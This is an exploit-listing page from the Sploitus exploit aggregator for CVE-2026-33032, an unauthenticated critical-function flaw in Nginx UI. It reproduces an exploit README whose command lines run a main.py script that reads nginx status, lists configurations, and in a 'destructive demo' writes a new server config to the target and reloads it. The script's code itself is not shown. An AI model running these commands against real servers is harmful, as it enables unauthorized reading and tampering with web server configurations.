Sploitus

Exploit for Missing Authentication for Critical Function in Nginxui Nginx Ui

CVE-2026-33032

githubexploit · 2026-08-21

Exploit Code

README23 lines
## https://sploitus.com/exploit?id=D9ABF1E5-AEA3-5316-A1FA-D089962B2D81
# CVE-2026-33032

## Safe check (reads nginx status)

```bash
python3 main.py http://target:9000 --tool nginx_status
```

## List configs

```bash
python3 main.py 10.0.0.50 --tool nginx_config_list
```

## Destructive demo (writes + reloads)

```bash
python3 main.py http://target:9000 \
  --tool nginx_config_add \
  --payload poc.conf \
  --content 'server { listen 8443; return 200 "MCPwned\n"; }'
```